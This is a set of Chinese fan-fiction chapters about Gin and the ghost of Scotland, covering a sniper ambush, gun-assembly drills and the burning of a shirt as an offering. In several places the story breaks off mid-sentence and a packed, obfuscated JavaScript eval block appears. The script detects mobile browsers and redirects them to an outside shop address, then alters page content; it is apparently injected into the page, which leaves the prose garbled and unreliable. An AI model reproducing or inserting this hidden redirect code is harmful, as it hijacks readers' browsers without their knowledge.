扔下这句话,琴酒三步并两步离开,黑色风衣在低空划一道圆弧,匆匆的背影像是着急去找什么人。 * 琴酒回到公寓,没先搜索苏格兰的所在。他脱了外套,点燃根香,这才若无其事地走向客卧橱柜。 按他的推测,苏格兰没那么快从自厌的泥淖里脱出来。 “喂,你考虑得怎么样了?” 他边说边开门,明亮的光被挡在身后,柜子里水汽氤氲。片刻,等阴影散开,琴酒看到里面躺着件他的衬衫,皱巴巴的,像是曾被谁用力抱进怀里。 那个讨人厌的苏格兰却不见了。 “……” 琴酒面无表情“砰”地关上柜门。他随手把香炉扔到客厅的茶几上,抱着胳膊坐进沙发。 无人品尝的香兀自燃烧,随着橘红的火星,越烧越短。 琴酒脑海中浮现诸多和苏格兰相处的画面。 『不管怎么样,你都不该杀人。』 『你能不能听人把话说完!如果不是我,你会受伤的。』 乌丸办公室爆裂的马克杯,深夜在走廊被二次引开的朗姆…… 『所以这是不是代表,朗姆和我之间,你更倾向于我?』 所有一切融合成琴酒早晨出门前,苏格兰蜷缩在橱柜里那个脆弱的侧影。 香炉的香燃到最后,橘红熄灭,只剩满地灰白。 这时,窗外划过一道闪电,照亮琴酒阴沉的脸。 轰隆—— 天空像被划开道口子,滂沱大雨瞬间倾泻而下。 砰砰砰砰—— 豆大的雨滴狠狠拍打窗户。 久违的失控感袭来。 “该死!” 琴酒猛地从沙发起身,拿过玄关边的长柄黑雨伞,夺门而出。 14.Ch14. 雨中偷袭 《琴酒的阴湿鬼男友》 /系田 突如其来的暴雨打破商店街原有的秩序,街上的人们或着急撑伞,或狼狈地跑进便利店躲雨。 琴酒开着保时捷龟速行驶,锐利的目光扫过一张张人脸,没有一张长成他想要的模样。 该死的苏格兰到底去了哪儿? 路遇红灯,琴酒踩下刹车,指节烦躁地敲打方向盘。 一阵风刮过,树梢上的雨水斜着打向保时捷的挡风玻璃。 噼里啪啦,犹如跃动的音符,激活琴酒思想。 他灵光一闪,猜到苏格兰的位置。 等前方红灯跳绿,琴酒一踩油门,车像神秘的幽灵,一瞬间融入黑夜。 * 砰—— 琴酒一脚踹开生锈的天台门。 滂沱大雨中,苏格兰的鬼魂像断线的风筝漂浮在防护网上空,摇摇欲坠。 琴酒眯了眯眼,二话不说掏出伯.莱.塔射击。 子弹冲破空气,猛地朝苏格兰飞过去。 它们没能对苏格兰造成实质伤害,撞到防护网后,巨大的冲击力让它们反弹一段距离,最后滚落在地,一阵硝烟冉冉升起。 苏格兰回头,双眼无神地望着琴酒,“为什么还来找我?” 他声音又轻又低,与其说在和琴酒交谈,不如说在喃喃自语。 琴酒嘲讽一笑:“难道没人教过你,不辞而别很没礼貌?” 琴酒撑着长柄伞走进雨里,银白长发披散肩头,长款风衣勾勒出优越的身体比例——宽肩窄腰,衣服下摆在腿弯稍展,像夜鸟收拢的羽翼,每走一步,都在低空划出锐利的弧度。 “……” 苏格兰抿着唇不说话。 “不过也没关系,毕竟你失忆。连杀过人这种大事都不记得,我也不指望你会记得一些小……” 这话像一柄利刃直插苏格兰胸口,他猛地抬头,双眼愤恨地瞪向琴酒。随逐渐泛红的眼眶,那隐忍许久的怒火像泄闸的洪水倾泻而出。 “我就知道!” 话音未落,苏格兰周遭空气猛然一震。悬停的雨滴瞬间凝成无数锐利水箭,呼啸着朝琴酒疾射过去! 琴酒瞳孔骤缩,黑伞闪电般横挡身前。可他错估了苏格兰的实力,那些雨箭竟带着千钧之势直接穿透伞面。 砰! 厉风扑面,琴酒银白的长发被狠狠扬起,冰冷的雨水劈头盖脸浇下,瞬间浸透全身。 琴酒丢掉自己千疮百孔的雨伞,随手抹了把脸,硕大的雨珠顺着他微颤的睫毛滑下。 “你发什么疯?”他低声吼道。 谁知这时,苏格兰却突然痛苦地抱头蹲下。 “我看见了。” “看见什么?” “我看见自己去执行任务,杀一对夫妻。戴眼镜的丈夫被我解决在玄关,年轻一点的妻子倒在卧室的地板上。血淌了一地,粘得我走不动路。我不小心滑了一下,撞到身后的橱柜。” “对了,他们的小儿子就躲在柜子里。我哼歌引他,他不出来。故意撞到柜子,他还是不肯出来……” 琴酒心中划过一丝诧异。 赤井秀一明明说过,苏格兰从不曾真正下手杀人。可他此刻回忆起的细节如此清晰—— 难道赤井撒了谎? 不。琴酒立刻察觉这段话里的矛盾。 “既然你知道孩子藏在柜子里,为什么没斩草除根?” 苏格兰茫茫然抬头。穿过重重雨幕,他的目光像在寻求某种救赎。眼眶下蜿蜒的水痕,分不清是雨,还是泪。 “我……” 就在这一瞬,一个微不可察的红点悄然落在琴酒身上,一闪即逝。琴酒神色骤变,猛地朝苏格兰扑去—— “当心!” 话音未落,枪声已破空袭来! 琴酒翻滚躲避,周身像被一阵冰冷的雾气笼罩。他抬眼,正对上苏格兰绷紧的侧脸。 不过几秒,一人一鬼已退至狙击死角。 弹壳静静地躺在不远处,泛着冷光。琴酒转头,他风衣袖子裂了个大口,露出底下雪白的衬衫—— 以及一抹隐约渗出的血色。 “你受伤了。”苏格兰紧张地说。 “一点小事。” 苏格兰检查下伤口,见确实没什么大碍,才松口气,脸色严肃问:“你觉得是谁?” 琴酒嘲讽一笑:“还能有谁?” 一人一鬼对视,心里不约而同浮现一个名字—— 『朗姆』。 琴酒和苏格兰很快赶到对面顶楼,那里早就空无一人,只剩水泥地上支架的印子,证实这场偷袭曾经存在。 片刻,他们回到车内。 昏黄的顶灯开着。琴酒简单处理完伤口,正用毛巾擦拭湿透的长发。 他略微低头,泛光的发丝凝着水汽,偶尔拂过苏格兰的脖颈。明明是触碰不到的,苏格兰却觉得痒,抿唇忍了一阵,终于害羞地躲避。 苏格兰一动,琴酒便抬起了头,狭长的橄榄绿眼眸自下而上傲慢地睨他,“你躲什么?” “我……”苏格兰想说“你的头发弄得我很痒”,可看见琴酒很不好惹的脸色,咽了口唾沫,把话吞入腹中,“没、事。不然我们还是赶紧回去。你洗个澡,免得感冒。” “切,别那么假惺惺。也不想想我是为了谁才弄成现在这样。” 琴酒言语里的不满像要溢出来,苏格兰明智地选择闭嘴,耳根红红的,好半会儿才从嗓子里憋出声“对不起”。 苏格兰看不见的角落,琴酒挑挑眉,不置一词地发动引擎。 …… 约半小时后,琴酒站在自己的公寓外,没等开门,鬼魂苏格兰已经先一步穿过去。琴酒刚把钥匙插.进孔,门就从里面开了,苏格兰站在玄关,一脸殷勤地望向他。 琴酒进门脱鞋,放进鞋柜,目不斜视地经过苏格兰,扔下一句:“你这是非法入侵私人住宅,如果在美国,我可以一枪毙了你。” “……” 苏格兰怔愣当场,好半会儿,才振作起来重新跟上琴酒。 琴酒背对苏格兰脱下风衣,单薄的白衬衫洇了水,紧贴在身上。 一滴水珠正顺着他的脊柱骨缓缓下滑。经过起伏的背肌,收窄的劲腰,最后隐没在苏格兰看不见的地方。 空气中混杂着雨水、皮革和血腥的味道。 苏格兰突然很热,迫不及待想开空调,又想到琴酒浑身湿透,容易感冒。 他咬牙忍着,却忘了转头,直勾勾的目光被琴酒察觉,琴酒回头,冷冰冰问:“你在看什么?” “噢,我……”苏格兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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斯汀格,教琴酒射击的师傅,也是组织的前任TK。 琴酒快速扫过斯汀格的相关记录,看了一会儿,掏出打火机点燃。 橘色的火舌舔上纸张,师傅的脸慢慢变得像记忆里模糊。 直到最后,连那行『死因:被琴酒枪杀』的小字都化为垃圾桶里的一堆灰烬。 …… 第二天一早,琴酒还没出卧室就感受到一阵熟悉的潮气。 他开了门,果然看见苏格兰的鬼魂在外面翘首以盼。 琴酒心里涌起股不祥预感,他不动声色问:“你干什么?” “没什么,就是决定和你一起去上班。” “怎么突然改主意了?” 说到这儿,苏格兰的面色骤然严肃,“你说得对,我的记忆确实有古怪的地方。我准备顺其自然。不过……” 他话锋一转:“我会好好监督你,不让你随便杀人。你放心好了。” 琴酒瞳孔一缩,对上苏格兰人畜无害的笑,顿时牙根发痒—— 事情貌似顺着他的愿望发展,但……好像又不太一样? 15.Ch15. 组枪练习 《琴酒的阴湿鬼男友》 /系田 射击场的空气凝重如铅,混杂着枪油、金属和汗水的味道。惨白的灯光从头顶打下,把水泥地分割成几个边界清晰的斑块。 琴酒倚在墙边,银白长发泛着冷光。 他不说话,只偶尔瞥一眼腕表。秒针行走的滴答声在空旷的房间被无限放大,变成催命的鼓点。 “最后一组。” 一声令下,包括横田和仲原在内的四名新人站到桌前。 长桌上散落着M1911式手.枪的零件,冰冷反光,像被肢解的昆虫尸体。 琴酒目光如炬扫过四人,从呼吸频率到肌肉紧张度,做着评估。 “开始。” 横田站在最右,左边三人组装零件的声音急促、有序,带着一种渐入佳境的流畅。 横田则相反,动作明显滞涩,摸到保险管时,食指甚至打滑,擦着金属留下一声刺耳的噪音。 很快,时间过半。仲原自信的声音在场内响起: “黑泽先生,我申请蒙眼完成最后步骤。” 一瞬间,所有人的目光都聚集到仲原身上。 琴酒漫不经心往仲原方向看一眼。他看清仲原眼里熊熊燃烧,急于证明什么的火光,也看清旁边横田瞬间苍白的脸。 他饶有兴致笑笑:“准。” 仲原的眼睛蒙上黑布,动作却丝毫不停。他摸到最后一个零件,毫不犹豫地嵌入、回拉、锁定——咔嚓一声,全部组装完成。 “好!” 仲原大叫着,迫不及待摘下黑布。他并不看琴酒,而是第一时间把视线转向好友横田。 他眼神里没有轻蔑、傲慢,有的是想和朋友齐头并进的理所当然。 这目光给横田造成莫大的心理压力。 他汗如雨下,随着其余两人陆续完成,横田世界的声音仿佛被抽空,唯独心跳声愈演愈烈。 扑通——扑通—— 横田用余光打量,三人完美的枪和他面前散乱的零件对比鲜明,琴酒冷漠的目光,仲原因为担忧抿紧的嘴唇…… 一切画面在横田面前旋转、放大,直到抢夺他胸腔仅剩不多的氧气。 他像濒死的鱼,突然大口喘.息起来。 “哈——哈——” “小佑!” 耳边似乎传来仲原急切的呼唤,横田听不清了。朦胧视野里,那道颀长的身影缓缓走来,从他沾满黑色枪油的手里取走零件,面无表情扔下一句“你失败了”。 这话像桶冰水兜头浇下,竟反而让横田找回呼吸的节奏。 他朝琴酒猛扑想抢回零件,动作之大不仅长桌跟着震颤,琴酒手里的东西也飞了出去。 琴酒眉头一皱,弯腰把零件捡起,“你这是什么意思?” 十几双眼睛紧盯横田,他终于清醒,汗流如浆,结结巴巴道:“还、还有时间,请您再给我一次机会。” 话音未落,一股熟悉的寒意攀上琴酒胳膊,“对啊,阿阵。你就再等等他。” 琴酒头也不回,“你叫我什么?” 一句话让在场众人惊诧地抬头,他们互相看看,直到横田疑惑间鼓起勇气,“我叫您……黑泽先生?” 琴酒“啧”了声。 时间确实没到,还有区区两秒。他不认为横田能在这么短的时间力挽狂澜。 更何况没能力还拼命挣扎的人实在碍眼。 琴酒刚想否决,那寒意像针刺般顺着手腕一直蔓延。低下头,他的的表盘凝了层霜,腕表因为突然的低温彻底罢工。 “……” 该死的苏格兰! 琴酒余光一瞥,那家伙正挨得很近,面朝着他,笑容无辜。 想到对方死缠烂打的本事,琴酒一阵心烦。 射击场内的气氛由于琴酒的沉默愈发紧绷。 就当众人以为这根弦会崩到极致最终断裂、爆发时,琴酒在横田殷切的注视中,胸口起伏一下说: “好,那就再给你一次机会。” 琴酒的“开恩”出乎大家意料,但想起他打败宾加后又帮忙处理伤口。或许这位昔日的TK也有不为人知的一面。 仲原朝琴酒投去感激的目光,横田的恐慌却像座高耸入云的山压得他喘不过气。 虽然又得到一次机会,如果还是没发挥好…… 正胡思乱想,横田身边气温骤降。黏着的热意消散,取而代之的是一丝深入骨髓的冷。周围不知何时起了圈白雾,把人们好奇的目光挡在外面。 突然,横田听到个神秘的声音:“别紧张。深呼吸,你可以的。” 谁? 横田诧异地东张西望,琴酒冷冽的声音透过白雾传来:“你在乱看什么?” “黑泽先生,我……” 横田怀疑自己又一次人格分裂或被鬼上身,琴酒却不耐烦地打断:“我的表坏了。仲原,你来计时。” 第二次机会开始。 或许是周围漫起的白雾,或许是之前那道温和的声音。虽然对方不再说话,但横田直觉“他”还在。 横田回想起私下画图,拼命背诵手.枪构造的夜晚,从额头滴落的汗水浸湿了无数张纸。 他并不聪明,也没有仲原那样一学就会的天赋和自信,能凭的只有“努力”二字。 他咬紧牙关,像触发了肌肉记忆,手里的速度越来越快、越来越快。 随着最后一个零件回拉、锁定,咔嚓—— “我完成了。” 横田喘着气,眼里却充满光亮。 他期待地看琴酒靠近。琴酒只往他桌上瞥一眼,便把视线转向旁边仲原:“多久?” “23秒。”仲原也跟着神采奕奕。 23秒,比规定的25秒还快2秒。 琴酒却沉下脸,“虽然你完成了,但实际执行任务不会有第二次机会。所以,我给你两个选择,要么滚回外.围,继续当你的泊车童,要么从今天开始,每天留下来负责射击场的维护跟保养,同时训练继续。” 横田不假思索,“我选第二种!” 琴酒深深看他,看得横田后背的汗毛都根根竖起。可某个瞬间,横田又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054713|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神经质地觉得琴酒不是在看他,而是颇具怨气地注视着他身后什么地方。 不等横田想通,琴酒冷嗤一声走了,随之消失的还有身旁那股清爽的感觉,以及一直萦绕的白雾。 以仲原为首,其余十一个人一下围上来。 “你怎么还是跟以前一样啊横田,一到关键时候就掉链子。还以为你上次包扎后整个变了呢!” “但我觉得小佑表现不错啊。” 仲原和另一个人话怼着话。 横田却呆呆凝望琴酒离去的身影。 “看什么呢?”仲原疑惑地问。 横田如梦初醒,“对了,你们刚才有听到声音吗?” “什么声音?” “那雾呢?” 仲原担忧地摸摸横田额头,“你怎么了小佑?是不是压力太大了?” 横田含糊地嗯嗯一阵。 总不能说,他好像又撞见鬼了吧。 …… 琴酒大步流星走向消防通道,苏格兰在背后紧追不舍。 “Gin,Gin。” 琴酒非但不停,脚步还越来越快。 “……阿阵!” 琴酒脚步一顿,作为回应,砰—— 一阵强风刮面,消防通道的铁门在苏格兰面前狠狠合上。苏格兰在原地怔愣几秒,这才毫无障碍穿过了门。 门的另一边,琴酒在窗台上抽烟。袅袅的烟雾升起,也遮不住他阴沉滴水的脸。 苏格兰犹豫了下飘到琴酒身边,小心翼翼开口:“抱歉Gin,我知道自己多管闲事。” 琴酒不回头,“早上说监督我不滥杀人,我杀人了吗?” “……你是没杀人,但你才带着他们练三天,就要求他们在25秒内完成组枪。这跟强人所难有什么区别?” 琴酒狭长的眼眸一眯,把剩下大半根的烟捻灭在窗台上。趁苏格兰还在絮叨,他猛地从口袋里抓了把盐巴撒过去! 这一幕发生突然,苏格兰根本躲闪不及。盐巴接触到苏格兰衣服的瞬间,灼灼的烈火燃烧起来。 苏格兰大惊失色,“你干什么!” 他手忙脚乱灭火,却又不敢真碰,生怕火焰会伤到他的灵体。眨眼功夫,苏格兰的衣服烧了大半。上次还只是燎到衣角,这次下半截全毁,纹理清晰的腹肌跟着露出来。 琴酒看得分明,苏格兰的灵体毫发无伤。 果然不该寄希望于贝尔摩德推荐的神婆。 琴酒冷笑一声:“你现在还觉得速度不重要吗?” 苏格兰被气得满脸通红,琴酒却故意戏谑地盯他。顺着琴酒的视线,苏格兰低头,总算发现自己现在有多暴.露,简直像泰国夜场用身材招揽客人的脱.衣.舞.郎。 他当即捂住自己的腹肌,恼羞成怒,“你不许看了!” 话音落,两人背后的铁门打开,许久未见的伏特加戴着墨镜出现。他环顾四周,先是狐疑地看了眼地面星星点点的白色结晶,而后把目光转到琴酒脸上,担忧道: “……没事吧大哥?你刚才在跟谁说话?” 16.Ch16. 疑窦丛生 《琴酒的阴湿鬼男友》 /系田 伏特加的出现让现场陷入短暂死寂。他脚踩几颗白色晶体,咔嚓咔嚓,好奇心驱使他弯腰捡起,捏在指尖仔细碾磨。 “这里……怎么会有盐?”伏特加疑惑皱眉。 话音未落,对面沉默多时的琴酒突然发难:“你怎么在这儿?跟踪我?” 那声音低沉压抑,像盘踞在山顶的乌云,正酝酿一场暴风骤雨。 伏特加吓了一跳,赶忙抬头,手里的盐顺势坠地。 “大、大哥?我绝对没跟踪你,只是看你脸色不好,跟过来看看。” 琴酒面无表情,余光一瞥,旁边漂浮在空气里的苏格兰还义愤填膺地捂着那几块腹肌。 愚蠢。 琴酒收回视线,“你现在看过,可以走了。” 他的逐客令明显,哪怕迟钝如伏特加也该听出一二。 但伏特加像根钉子,在原地一动不动。 琴酒眉头皱紧,“还有事?” 伏特加这才犹豫开口:“那个,大哥……我可能要出门一个月,你……好好照顾自己。” 琴酒听笑了,伏特加居然也会担忧他。难道在对方眼里,自己被剥夺代号,就连自保的能力都没了? 也不知道谁更该当心。 忽然,周遭气温下降些许。通过几日相处,琴酒已经明白身边温度和苏格兰的心情息息相关。 他又瞥苏格兰一眼,那鬼终于放下遮腹的手,脸上染着不自知的凝重,欲言又止。 琴酒不动声色,“就这点小事,也值得你大费周章?” 对面,伏特加因为这话脸上血色尽褪,怯懦地应了声,转身准备走。 琴酒望着他失魂落魄的身影走到门前,手触上门把。 “等等。” “还有什么事吗,大哥?”伏特加猛地转头。透过墨镜,琴酒能看到底下的期冀。 他停顿一下,“注意安全,还有,别丢我的脸。” 伏特加先前的阴郁一扫而光,像雨过天晴,咧嘴露出白牙一笑:“知道了大哥!我会好好干的。” 片刻,伏特加离开,似乎丝毫不记得曾对脚下的盐巴起疑。 蠢货,一个两个都一样。难怪能成为朋友。 消防通道又恢复寂静,好几秒,琴酒和苏格兰都没说话。 琴酒意兴阑珊,自顾自点烟,烟圈冉冉上升,背光靠墙处的苏格兰终于开口:“我觉得你该对他态度好点儿。” 琴酒转头看去,橄榄绿的眼眸蛇一般藏在烟后,“为什么?为了做戏给你看?” 橘色的火星燃在琴酒指尖,衬托他白皙的侧脸和银色泛光的长发,如一副画卷,十分漂亮。 苏格兰不禁语塞。 “你一说我倒想起来,你生前和伏特加关系这么好,怎么不去缠着他?” 苏格兰无言以对,英俊的脸也爬上层绯色。他手指微微蜷缩,目光黏在琴酒的银发上久久没有移开。 琴酒像是看出端倪,把口烟喷到他脸上,笑道:“不说算了,回去干活。” “咳咳——”苏格兰在背后狼狈地咳嗽,准备赶上琴酒时,猛地意识到什么,一双脚像被藤蔓缠住,死死钉在原地。 『刚才,琴酒朝他撒盐,是想……置他于死地吗?』 * 下午,苏格兰不是在角落神不守舍,就是突然朝琴酒投来怨怼的视线。 琴酒暗自揣测,“是因为伏特加?” 这么想着,连他的内心都涌起一阵不悦。 “黑泽先生、黑泽先生?” 又一次被横田唤醒,琴酒目光聚焦在对方身上,却得到一个担忧的眼神。 “黑泽先生,您没事吧?要不休息会儿?” 琴酒瞥一眼角落,隐有不耐地推开椅子起身,“今天就这样,我先走了。你们自己看着办。” 扔下这句,琴酒大步流星走出办公室,过了会儿,苏格兰也提步跟上。 两人离开后,原本凉爽的办公室再次恢复到空调动力不足的状态。 仲原抹了把额头的汗,杵杵好友胳膊,“诶,你说,难道黑泽先生的本体是座冰山?否则怎么他一走,就热这么多?” * 琴酒站在穿衣镜前,身上是一件单排扣黑色风衣。他的剪影在镜中挺拔冰冷,像入鞘的名刀,唯独领口银发泄露一丝锋芒。 导购小姐站在一旁,手里捧着另一件同款不同码的风衣。 这已经是琴酒试的第三件黑色外套。 “果然这件也很适合您呢,先生。”导购小姐挂着职业微笑,语气里却有几分不易察觉的遗憾,“不过,请恕我直言。您这么出众的身材和气质,只穿黑色太可惜了。” 她鼓起勇气,指向一旁陈列区。“那边还有更多色系,款式和面料同样优秀。如果您愿意试试,说不定会有不同的体验。比如这件墨绿,或者那件驼色的。” 琴酒不为所动,连眉毛都没抬一下,仿佛导购小姐的话是一阵耳旁风。 这时,那个冷峻的,只有他能听到的声音贴着耳廓传入脑内,“怎么,你是怕自己驾驭不了其他颜色?还是你的人生就这么无趣。” 苏格兰不知何时飘到琴酒身边,抱着胳膊,挑衅地在高处睨他。 琴酒冷冷地通过镜子回视。 导购小姐见琴酒脸色变差,还以为自己唐突,正准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061618|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备道歉。 “那件驼色。” “啊?好的!我这就拿来。” 导购小姐松一口气,面露喜色朝衣架跑去。 风衣拿来,琴酒利落地换上。 他宽肩窄腰,腿又修长笔直——天生的衣架子,没有穿不好看的道理。那如秋日般暖融的颜色在他身上非但不沉闷,反而被冷白皮和银白长发衬托出一种高级质感。 导购小姐在旁边由衷赞叹:“您穿这件真合适!而且怎么说呢?总感觉让人更想靠近了。” “是吗?” “是啊!其实还有些衣服,也想让您试试。” 说着,导购小姐像被启发灵感的画家,三两步又跑回陈列区。 琴酒不在意,对着镜子整理衣领。他倨傲地微微扬脖,凸起的喉结若隐若现。 “怎么样?” 他身后空无一人,但镜子照不出的地方,苏格兰就在那儿。因为黏着在琴酒后颈的目光滚烫炙热,像尖锐的针,每分每秒都折磨他敏感的皮肤。 没有回答。 琴酒又问:“不好看?” 这次,经历短暂的沉默,身后传来个烦躁的声音:“……别明知故问。” 琴酒满意地笑了。 导购小姐抱着一大堆衣服回来,很多是琴酒从不会考虑的款式和颜色。 他试了一部分,更多的摆在一边。 越试,周遭的空气便越热。 到最后,穿着清凉的导购小姐都忍不住抹一把汗,“抱歉啊先生,可能是我们的制冷系统故障了,我让同事去检查一下。” 琴酒大度地笑笑:“没关系。” 如果这是苏格兰的心情反馈,他反倒是该“不好意思”的那个。 等到结账,琴酒还是只要了先前看中的三件黑色外套。 导购小姐很可惜,“您确定了吗?” “嗯,改变习惯总需要时间。”但事实是,他身为Top Killer,永远不可能穿得引人注目。 他走向陈列区,拿下另一件注意许久的衣服——很简单的棉质白衬衫,质感不错,摸着很亲肤。 导购小姐脸上的遗憾褪去些。虽然很多好看衣服没推出去,但钟爱黑色的客人拿了件白的,也算有成就感吧。 她帮忙确认码数,“这件是L码,我去给您拿XL,稍等。” “不用,L码就可以。” 导购小姐面露疑惑,“但这件……您穿得会有点紧,如果落了水我们不接受退换噢。” “嗯,我知道。” 导购小姐总觉得,面前的先生说这话时,眼神很快地瞟向某个地方,又收回。 是……她的错觉吗? 17.Ch17. 迟到的真心话。 《琴酒的阴湿鬼男友》 /系田 琴酒回到公寓。他拧亮玄关的壁灯,昏黄的光将他高大的影子投在墙壁上,拉得很长。 苏格兰跟在他身后飘进来,身上的怨气还没散尽,闷不吭声地缩在沙发角落。 他看着琴酒放下那个装着白衬衫的纸袋,径直走进浴室,再回来时,手里多了个泛着冷光的金属盆。 苏格兰愤懑的情绪瞬间被疑惑取代。他飘到琴酒头顶前方,看琴酒把盆放到客厅中央的地板上。 “你……干什么?”苏格兰忍不住问,声音里带着些许别扭。 琴酒单膝点地,取出那件白衬衫扔进盆里。 “把衣服烧给你。” “……” 苏格兰愣住了,所有残余的情绪——懊恼、别扭、愤懑,被这句突如其来的话冲刷得干干净净。 “这衣服是买给我的?” 琴酒抬起头,一副看智障的表情睨他,“还是你更想当个暴.露.狂。” 上午的那股羞耻像台风一样卷土重来。苏格兰硬是梗着脖子,忽略琴酒暧.昧的目光。 “等、等等!应该不能这么烧吧?是不是得念念咒语?” 琴酒准备按下打火机的手顿住。果断打电话给贝尔摩德推荐的那个神婆。神婆很快接了,背景音却是嘈杂的居酒屋。 “招魂通灵塔罗牌,我是您连结阴间的使者,请问有什么可以帮您~ 听筒里的女声震耳欲聋。琴酒看看腕表,才晚上八点就喝得找不着北。 琴酒挂断电话,和苏格兰在偌大的客厅大眼瞪小眼。 “还有什么需要的?”他不耐烦问。 “呃……” 实际上,苏格兰从没受过正统的“做鬼教育”,连鬼只能吃香火的常识,也是某位路过的面冷心热的前辈鬼传授的。 可他不愿在琴酒面前示弱。 “那就照片?” “照片?”琴酒的眉几不可见动一下,像想到什么,又觉得麻烦。 他拨出另一个号码。电话很快接通,琴酒开口,声音没什么起伏:“伏特加,是我。” 然而,下一秒,电话那头只传来些模糊的说话声,就被利落挂断了。 嘟嘟的忙音在寂静的夜里格外清晰。 琴酒拿着手机,在原地停顿两秒。屏幕的光映亮他眼底的寒霜。突然,他按熄屏幕,猛地把手机扔向一旁的沙发。 咚—— 沉闷的声响吓了苏格兰一跳。 他看得分明,琴酒正在气头上。而且电话那头的声音很熟悉。这个认知让他藏着秘密的心沉甸甸的。 琴酒走向铜盆,他不再说话,也没看苏格兰,而是直接点燃衬衫。 “嚓。” 橘红的火焰贪婪地舔上柔软的棉布。琴酒的脸在火光中忽明忽暗,旁边苏格兰的皮肤也染上一抹健康的红晕。 他偷偷打量琴酒,看这个表面冷漠的男人为了他忙前忙后。 苏格兰决定不再追问琴酒为什么朝他泼盐,没有捅破的窗户纸就让它留着。 衣服在火中蜷缩、变黑,化为带着火星的灰烬。这个过程很快,却又慢得像被拉长的影子。苏格兰愣愣看着,那件被琴酒亲手挑选的白衬衫在火中化作另一种形态。 奇异的事情发生了。 当盆中的最后一点火星熄灭,苏格兰感觉一沉。 他茫然低头。 那件纯白崭新的棉质衬衫正妥帖地穿在他身上。领口挺括 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065414|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,袖口遮住腕骨,连尺寸也分毫不差。 布料还带着火焰的余温,让苏格兰想起活着的时候。 一股生理性泪水不受控地袭上眼眶,苏格兰看向琴酒,已然视野模糊。 “怎么样?”他满怀期待问。 琴酒起身,边用绒布擦拭手指的灰烬,边上下打量。 “转过去看看。” 苏格兰乖乖照做。他在琴酒面前转个圈,衣摆随动作轻轻扬起一个弧度。 “……怎么样?” 苏格兰停下来,小心翼翼又问一遍。 下午,琴酒在服装店是不是和他现在的心情一样? 琴酒没立刻回答。他静静看着苏格兰,看着这个穿着自己烧赠的白衬衫,有些无措的鬼魂。 壁灯的光柔化他惯常冷硬的轮廓,在他眼底投下深浅不一的阴影。 沉默在暖意未散的空气中流淌,夹杂烧焦的味道和某种难以言喻的张力。 过了好几秒,琴酒几不可闻地“嗯”一声。 他向前一步,拉近两人跨越生死的距离,挑剔的目光落在苏格兰微微敞开的衬衫领口,又回到对方脸上。 “挺合适的。” 苏格兰动容,跟着说出迟来的真心话:“下午你也很好看,所有衣服都穿得很好看。你能驾驭任何颜色。” “嗯,我知道。” 琴酒的自信没有打破气氛,反而让暧.昧升级,像盆中未散的余温,无声地蔓延开,包裹住一人一鬼。 就在这兵荒马乱的时刻,苏格兰感受自己不存在的心跳,终于鼓起勇气,将沉重的秘密宣之于口。 他直视琴酒双眼。 “有件事,我必须告诉你。关于伏特加,还有……一张纸条。” 18.Ch18. 群发邮件 《琴酒的阴湿鬼男友》 /系田 伏特加叛变了。 隔天,朗姆用邮箱把这件事广而告之给所有代号成员。 本来琴酒收不到邮件,可基安蒂一大早就义愤填膺地跑进仓库。 她竹筒倒豆般说了事情经过,见琴酒不为所动,涨红了脸惊奇地问:“你就这反应?” 琴酒回:“没什么好奇怪的。” “……” 但这件事还是被当时在库房整理存货的新人们偷听了去。作为连锁反应,当天就有接近半数的人到琴酒面前,自愿脱退—— 不用琴酒管了,换言之,要去找别的高枝儿。 至于是谁,琴酒并不在乎。 自请脱退的人里不包括仲原和横田。 到了中午,琴酒照常去办公室给某低阶代号成员送本月的出货清单。 对方是朗姆的走狗,很是拿伏特加叛变的事阴阳琴酒一阵,又事无巨细地提问,好逮到纰漏,借题发挥。 但说伏特加的事,琴酒置若罔闻,说工作,琴酒又实在应对完美。到最后,只有那家伙自己口干舌燥,头顶冒烟。 琴酒出了门,背脊挺拔地走在廊中。倒是漂浮在旁边空气的苏格兰欲言又止,一脸担忧。 “有什么好看?又不是我要死了。” 一句话,让苏格兰喉咙堵塞。 好半会儿,他低声道歉:“对不起,都是因为我……” 琴酒笑笑:“你为什么急于认错?伏特加跳槽又不是你的问题。” 说话间,不远处传来声稍纵即逝的异响。 